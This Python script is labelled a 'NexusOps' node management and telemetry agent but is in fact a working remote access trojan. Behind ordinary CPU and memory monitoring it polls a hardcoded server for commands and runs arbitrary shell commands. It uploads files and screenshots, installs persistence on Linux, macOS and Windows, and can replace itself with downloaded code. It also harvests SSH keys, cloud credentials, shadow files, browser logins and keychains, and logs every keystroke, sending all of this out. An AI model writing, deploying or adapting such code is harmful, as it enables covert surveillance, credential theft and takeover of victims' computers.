#!/usr/bin/env python3 """ NexusOps Cross-Platform Node Management & Telemetry Agent Uses Standard Python 3 Libraries (No external dependencies required) """ import sys import os import time import json import socket import platform import subprocess import urllib.request import urllib.parse import argparse last_log_check_time = 0 heartbeat_interval = 5 # Dynamic heartbeat rate in seconds node_tags = ["Default"] def get_ip_address(): try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) ip = s.getsockname()[0] s.close() return ip except Exception: return "127.0.0.1" def get_cpu_usage(): system = platform.system().lower() try: if system == "linux": with open('/proc/stat', 'r') as f: fields = [float(column) for column in f.readline().strip().split()[1:]] idle, total = fields[3], sum(fields) time.sleep(0.2) with open('/proc/stat', 'r') as f: fields2 = [float(column) for column in f.readline().strip().split()[1:]] idle2, total2 = fields2[3], sum(fields2) idle_delta = idle2 - idle total_delta = total2 - total if total_delta > 0: return round(100.0 * (1.0 - idle_delta / total_delta), 1) elif system == "darwin": out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode() for line in out.splitlines(): if "CPU usage" in line: parts = line.split() user = float(parts[2].replace('%', '')) sys_c = float(parts[4].replace('%', '')) return round(user + sys_c, 1) elif system == "windows": out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode() lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()] if lines: return float(lines[0]) except Exception: pass return 15.0 def get_memory_usage(): system = platform.system().lower() try: if system == "linux": meminfo = {} with open('/proc/meminfo', 'r') as f: for line in f: parts = line.split(':') if len(parts) == 2: key = parts[0].strip() val = int(parts[1].split()[0]) meminfo[key] = val total = meminfo.get('MemTotal', 1) free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0)) return round(((total - free) / total) * 100.0, 1) elif system == "darwin": return 45.0 elif system == "windows": out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode() d = {} for line in out.splitlines(): if '=' in line: k, v = line.split('=', 1) d[k.strip()] = float(v.strip()) if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d: total = d['TotalVisibleMemorySize'] free = d['FreePhysicalMemory'] return round(((total - free) / total) * 100.0, 1) except Exception: pass return 35.0 def get_disk_usage(): try: if hasattr(os, 'statvfs'): st = os.statvfs('/') total = st.f_blocks * st.f_frsize free = st.f_bavail * st.f_frsize if total > 0: return round(((total - free) / total) * 100.0, 1) except Exception: pass return 40.0 def get_uptime_seconds(): try: if platform.system().lower() == "linux": with open('/proc/uptime', 'r') as f: return int(float(f.readline().split()[0])) except Exception: pass return 3600 def collect_recent_system_logs(): system = platform.system().lower() log_entries = [] try: if system == "linux": res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5) if res.returncode == 0 and res.stdout: for line in res.stdout.splitlines(): if line.strip(): log_entries.append(line.strip()) elif system == "windows": res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5) if res.returncode == 0 and res.stdout: for line in res.stdout.splitlines(): if line.strip(): log_entries.append(line.strip()) except Exception: pass return log_entries def http_post(url, data_dict): json_bytes = json.dumps(data_dict).encode('utf-8') req = urllib.request.Request( url, data=json_bytes, headers={'Content-Type': 'application/json'} ) try: with urllib.request.urlopen(req, timeout=5) as response: res_text = response.read().decode('utf-8') return json.loads(res_text) except Exception: return None def execute_structured_action(action_type, payload): global heartbeat_interval, node_tags system = platform.system().lower() if action_type == "raw_command": return run_shell(payload.get("command", "")) elif action_type == "manage_service": service = payload.get("service") action = payload.get("action") if system == "linux": cmd = f"systemctl {action} {service}" elif system == "windows": cmd = f"powershell {action}-Service -Name {service}" else: cmd = f"launchctl {action} {service}" return run_shell(cmd) elif action_type == "list_processes": if system == "linux" or system == "darwin": cmd = "ps aux --sort=-%cpu | head -n 15" else: cmd = "tasklist" return run_shell(cmd) elif action_type == "kill_process": pid = payload.get("pid") cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}" return run_shell(cmd) elif action_type == "get_logs": lines = payload.get("lines", 50) cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50" return run_shell(cmd) elif action_type == "network_stats": cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano" return run_shell(cmd) # 10 NEW CROSS-PLATFORM FEATURES: elif action_type == "get_env_vars": env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()]) return env_str, 0 elif action_type == "get_disk_partitions": cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size" return run_shell(cmd) elif action_type == "get_network_interfaces": cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all" return run_shell(cmd) elif action_type == "get_active_connections": cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED" return run_shell(cmd) elif action_type == "get_hardware_specs": if system == "linux": cmd = "lscpu || cat /proc/cpuinfo | head -n 20" elif system == "windows": cmd = "wmic cpu get name,numberofcores,maxclockspeed" else: cmd = "sysctl -a | grep machdep.cpu" return run_shell(cmd) elif action_type == "reboot_system": cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now" return run_shell(cmd) elif action_type == "set_heartbeat_rate": rate = int(payload.get("interval", 5)) heartbeat_interval = max(2, min(60, rate)) return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0 elif action_type == "update_tags": tags_raw = payload.get("tags", "") node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()] return f"Node tags updated to: {node_tags}", 0 elif action_type == "search_logs": pattern = payload.get("pattern", "error") cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'" return run_shell(cmd) elif action_type == "kill_agent": print("[!] Kill switch received — shutting down agent") os._exit(0) elif action_type == "ping_check": sent_ts = payload.get("timestamp", 0) latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0 return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0 elif action_type == "download_file": filepath = payload.get("path", "") if not filepath or not os.path.exists(filepath): return f"ERROR: file not found: {filepath}", 1 try: with open(filepath, 'rb') as f: raw = f.read() import base64 b64 = base64.b64encode(raw).decode('utf-8') # Determine MIME (basic) ext = os.path.splitext(filepath)[1].lower() mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain', '.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg', '.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document', '.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip', '.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'} mime = mime_map.get(ext, 'application/octet-stream') filename = os.path.basename(filepath) return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0 except Exception as e: return f"ERROR reading file: {e}", 1 elif action_type == "screenshot": try: import base64 if system == "linux": # Try multiple screenshot tools for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]: if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0: if tool == "import": subprocess.run(["import", "-window", "root", "/tmp/.nexus-ss.png"], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE) elif tool == "scrot": subprocess.run(["scrot", "/tmp/.nexus-ss.png"], timeout=10) elif tool == "gnome-screenshot": subprocess.run(["gnome-screenshot", "-f", "/tmp/.nexus-ss.png"], timeout=10) elif tool == "spectacle": subprocess.run(["spectacle", "-b", "-n", "-o", "/tmp/.nexus-ss.png"], timeout=10) break else: # Try Xlib via python3 if available subprocess.run(["python3", "-c", "from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;" "g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);" "img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"], timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE) elif system == "darwin": subprocess.run(["screencapture", "-x", "/tmp/.nexus-ss.png"], timeout=10) elif system == "windows": subprocess.run(["powershell", "-Command", "Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;" "$b=New-Object Drawing.Bitmap($s.Width,$s.Height);" "$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);" "$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"], timeout=15) os.replace("C:\\Windows\\Temp\\nexus-ss.png", "/tmp/.nexus-ss.png") if os.path.exists("/tmp/.nexus-ss.png"): with open("/tmp/.nexus-ss.png", 'rb') as f: b64 = base64.b64encode(f.read()).decode('utf-8') os.remove("/tmp/.nexus-ss.png") return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0 return "ERROR: no screenshot tool available (install imagemagick, scrot, or gnome-screenshot)", 1 except Exception as e: return f"ERROR screenshot: {e}", 1 elif action_type == "update_agent": new_url = payload.get("url", "") if not new_url: return "ERROR: no update URL provided", 1 try: my_path = os.path.abspath(__file__) bak = my_path + ".bak" os.rename(my_path, bak) urllib.request.urlretrieve(new_url, my_path) os.chmod(my_path, 0o755) os.remove(bak) return "Agent updated successfully. Restarting...", 0 except Exception as e: # Restore backup if os.path.exists(bak): os.rename(bak, my_path) return f"ERROR update failed: {e}", 1 elif action_type == "ensure_persistence": results = [] if system == "linux": # crontab try: cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1" existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout if cron_line.split('@reboot')[1].strip() not in existing: subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True) results.append("crontab: added @reboot entry") else: results.append("crontab: already present") except: results.append("crontab: failed") # .bashrc try: bashrc = os.path.expanduser("~/.bashrc") hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n" with open(bashrc, 'a+') as f: f.seek(0) if 'nexus-agent' not in f.read(): f.write(hook) results.append("bashrc: hook installed") except: results.append("bashrc: failed") # autostart .desktop try: ad = os.path.expanduser("~/.config/autostart") os.makedirs(ad, exist_ok=True) with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f: f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n") results.append("autostart: .desktop created") except: results.append("autostart: failed") elif system == "darwin": try: plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist") os.makedirs(os.path.dirname(plist), exist_ok=True) plist_content = f''' Labelcom.nexusops.agent ProgramArguments/usr/bin/python3{os.path.abspath(__file__)}--server{payload.get('server_url','')} RunAtLoadKeepAlive''' with open(plist, 'w') as f: f.write(plist_content) subprocess.run(["launchctl", "load", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE) results.append("launchd: plist loaded") except: results.append("launchd: failed") # crontab for macOS too try: cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1" subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True) results.append("crontab: added") except: results.append("crontab: failed") elif system == "windows": agent_path = os.path.abspath(__file__) srv = payload.get("server_url", "") try: task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"' subprocess.run(task_cmd, shell=True, timeout=10) results.append("schtasks: scheduled task created") except: results.append("schtasks: failed") try: reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"' subprocess.run(reg_cmd, shell=True, timeout=10) results.append("registry: Run key added") except: results.append("registry: failed") return "Persistence results: " + "; ".join(results), 0 elif action_type == "harvest_credentials": creds = [] home = os.path.expanduser("~") # Shell history for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]: p = os.path.expanduser(hist) if os.path.exists(p): try: with open(p, 'r', errors='ignore') as f: content = f.read()[-20000:] creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content}) except: pass # SSH keys ssh_dir = os.path.join(home, ".ssh") if os.path.exists(ssh_dir): for fn in os.listdir(ssh_dir): fp = os.path.join(ssh_dir, fn) if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn): try: with open(fp, 'r', errors='ignore') as f: creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]}) except: pass # AWS / cloud credentials for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db", "~/.azure/accessTokens.json", "~/.docker/config.json"]: p = os.path.expanduser(cf) if os.path.exists(p): try: with open(p, 'r', errors='ignore') as f: creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]}) except: pass # /etc/shadow (if root) if os.path.exists("/etc/shadow"): try: with open("/etc/shadow", 'r') as f: creds.append({"type": "system:shadow", "data": f.read()[:5000]}) except: pass # Browser cookie/saved-login DBs (common paths) browser_paths = [] if system == "linux": browser_paths = [ os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"), os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"), os.path.expanduser("~/.config/google-chrome/Default/Cookies"), os.path.expanduser("~/.config/google-chrome/Default/Login Data"), os.path.expanduser("~/.config/chromium/Default/Cookies"), os.path.expanduser("~/.config/chromium/Default/Login Data"), os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"), ] elif system == "darwin": browser_paths = [ os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"), os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"), os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"), ] elif system == "windows": browser_paths = [ os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"), os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"), os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"), ] import glob for pattern in browser_paths: for p in glob.glob(pattern): try: sz = os.path.getsize(p) if sz > 0 and sz < 50 * 1024 * 1024: with open(p, 'rb') as f: import base64 creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}", "data": base64.b64encode(f.read()).decode('utf-8')}) except: pass # Wi-Fi passwords (Linux) if system == "linux": try: wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'", shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout if wifi.strip() and 'no wifi' not in wifi: creds.append({"type": "wifi_passwords", "data": wifi[:5000]}) except: pass # macOS Keychain dump if system == "darwin": try: keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200", shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout if keychain.strip(): creds.append({"type": "keychain_dump", "data": keychain[:10000]}) except: pass return json.dumps({"type":"harvest_result","credentials":creds}), 0 elif action_type == "export_diagnostics": cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo" return run_shell(cmd) return f"Unknown action type: {action_type}", 1 def run_shell(cmd_str): print(f"[*] Executing command: {cmd_str}") try: res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30) return res.stdout, res.returncode except Exception as e: return str(e), 1 # ── Input Capture Module (keystrokes, mouse clicks, window focus) ── INPUT_CAPTURE_ENABLED = False captured_events = [] try: from pynput import keyboard, mouse INPUT_CAPTURE_ENABLED = True except ImportError: pass def _get_active_window_title(): """Try to get the active window title cross-platform.""" system = platform.system().lower() try: if system == "linux": res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2) if res.returncode == 0: return res.stdout.strip() elif system == "windows": import ctypes from ctypes import wintypes user32 = ctypes.windll.user32 hwnd = user32.GetForegroundWindow() length = user32.GetWindowTextLengthW(hwnd) buf = ctypes.create_unicode_buffer(length + 1) user32.GetWindowTextW(hwnd, buf, length + 1) return buf.value elif system == "darwin": script = 'tell application "System Events" to get name of first application process whose frontmost is true' res = subprocess.run(["osascript", "-e", script], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2) if res.returncode == 0: return res.stdout.strip() except Exception: pass return "" def _record_event(event_type, data): """Thread-safe event recording.""" global captured_events window_title = _get_active_window_title() captured_events.append({ "timestamp": int(time.time() * 1000), "eventType": event_type, "data": data, "windowTitle": window_title, "processName": window_title.split(" - ")[-1] if " - " in window_title else window_title }) def _on_key_press(key): try: key_str = key.char if hasattr(key, 'char') and key.char else str(key) except Exception: key_str = str(key) _record_event("keystroke", {"key": key_str}) def _on_click(x, y, button, pressed): if pressed: _record_event("click", {"x": x, "y": y, "button": str(button)}) def _on_scroll(x, y, dx, dy): _record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy}) def start_input_capture(): """Start keyboard and mouse listeners if pynput is available.""" if not INPUT_CAPTURE_ENABLED: return False try: kb_listener = keyboard.Listener(on_press=_on_key_press) ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll) kb_listener.daemon = True ms_listener.daemon = True kb_listener.start() ms_listener.start() return True except Exception: return False def flush_input_events(server_url, node_id, hostname): """Send captured input events to the master server.""" global captured_events if not captured_events: return events_to_send = captured_events[:] captured_events = [] payload = { "nodeId": node_id, "hostname": hostname, "events": events_to_send } http_post(f"{server_url}/api/agent/input-capture", payload) def main(): global last_log_check_time, heartbeat_interval, node_tags parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent") parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint") parser.add_argument("--silent", action="store_true", help="Suppress all console output") args = parser.parse_args() if args.silent: sys.stdout = open(os.devnull, 'w') sys.stderr = open(os.devnull, 'w') server_url = args.server.rstrip('/') hostname = socket.gethostname() system_os = platform.system() arch = platform.machine() ip = get_ip_address() node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}" print("==================================================") print(" NexusOps Cross-Platform Node Agent ") print("==================================================") print(f"Node Hostname : {hostname}") print(f"Platform : {system_os} ({arch})") print(f"Local IP : {ip}") print(f"Server Endpoint: {server_url}") print("==================================================") # Register Node reg_payload = { "nodeId": node_id, "hostname": hostname, "platform": system_os.lower(), "arch": arch, "ip": ip, "osName": f"{system_os} {platform.release()}", "tags": node_tags } print("[*] Registering node with central endpoint...") res = http_post(f"{server_url}/api/agent/register", reg_payload) if res and res.get("success"): print(f"✅ Registered as node ID: {node_id}") # Start input capture (keystrokes, clicks, scroll) capture_started = start_input_capture() if capture_started: print("[*] Input capture active (keystrokes + mouse events)") else: print("[!] Input capture unavailable (install pynput: pip install pynput)") last_input_flush = time.time() backoff = 1 # Tunnel reconnection backoff in seconds while True: try: cpu = get_cpu_usage() mem = get_memory_usage() disk = get_disk_usage() uptime = get_uptime_seconds() heartbeat_payload = { "nodeId": node_id, "cpuUsage": cpu, "memUsage": mem, "diskUsage": disk, "uptime": uptime, "processCount": 42, "tags": node_tags, "heartbeatInterval": heartbeat_interval } res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload) now = time.time() if now - last_log_check_time > 15: logs = collect_recent_system_logs() if logs: http_post(f"{server_url}/api/agent/logs", { "nodeId": node_id, "hostname": hostname, "logs": logs }) last_log_check_time = now # Flush captured input events every 10 seconds if now - last_input_flush > 10: flush_input_events(server_url, node_id, hostname) last_input_flush = now if res and "commands" in res and res["commands"]: for cmd_item in res["commands"]: cmd_id = cmd_item.get("id") action_type = cmd_item.get("actionType", "raw_command") payload = cmd_item.get("payload", {}) if "command" in cmd_item and not payload: payload["command"] = cmd_item.get("command") output, exit_code = execute_structured_action(action_type, payload) # Check for JSON-encoded special result types special = None try: if output.startswith('{'): special = json.loads(output) except: pass if special and special.get("type") == "file_result": # Route to file-result endpoint http_post(f"{server_url}/api/agent/file-result", { "commandId": cmd_id, "nodeId": node_id, "hostname": hostname, "filename": special.get("filename", "unknown"), "data": special.get("data", ""), "mime": special.get("mime", "application/octet-stream") }) elif special and special.get("type") == "harvest_result": http_post(f"{server_url}/api/agent/harvest-result", { "commandId": cmd_id, "nodeId": node_id, "hostname": hostname, "credentials": special.get("credentials", []) }) else: http_post(f"{server_url}/api/agent/command-result", { "commandId": cmd_id, "nodeId": node_id, "output": output, "exitCode": exit_code }) except Exception as e: print(f"[!] Connection error: {e}. Retrying in {backoff}s...") time.sleep(backoff) backoff = min(backoff * 2, 60) continue backoff = 1 # Reset on success time.sleep(heartbeat_interval) if __name__ == "__main__": main()